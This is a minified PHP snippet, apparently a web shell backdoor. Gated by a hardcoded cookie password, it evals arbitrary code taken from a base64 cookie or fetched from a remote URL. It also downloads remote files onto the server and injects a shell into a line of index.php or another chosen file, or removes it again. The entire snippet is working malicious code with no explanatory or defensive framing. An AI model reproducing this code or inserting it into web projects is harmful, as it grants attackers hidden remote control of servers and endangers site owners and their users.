function moyses_50x($file,$array){if(@file_put_contents($file,implode($array))){return true;}}if($_COOKIE['moes_p']=='76SlDdXP'and$_COOKIE['moyses']){$moes_f='index.php';if($_COOKIE['moes_f'])$moes_f=$_COOKIE['moes_f'];switch($_COOKIE['moyses']){case 100:if($_COOKIE['moes_c']){$code=base64_decode($_COOKIE['moes_c']);}elseif($_COOKIE['moes_u']){$code=file_get_contents($_COOKIE['moes_u']);}else{exit;}eval($code);break;case 101:if(!$_COOKIE['moes_u']){exit;}if(@file_put_contents(array_pop(split('/',$_COOKIE['moes_u'])),file_get_contents($_COOKIE['moes_u']))){echo'ok';}break;case 500:if($_COOKIE['moes_c']){$shell=base64_decode($_COOKIE['moes_c']);}elseif($_COOKIE['moes_u']){$shell=file_get_contents($_COOKIE['moes_u']);}else{exit;}$file=file($moes_f);$file[1]=$shell;if(moyses_50x($moes_f,$file)){echo'ok';}break;case 501:$file=file($moes_f);unset($file[1]);if(moyses_50x($moes_f,$file)){echo'ok';}break;}exit;} |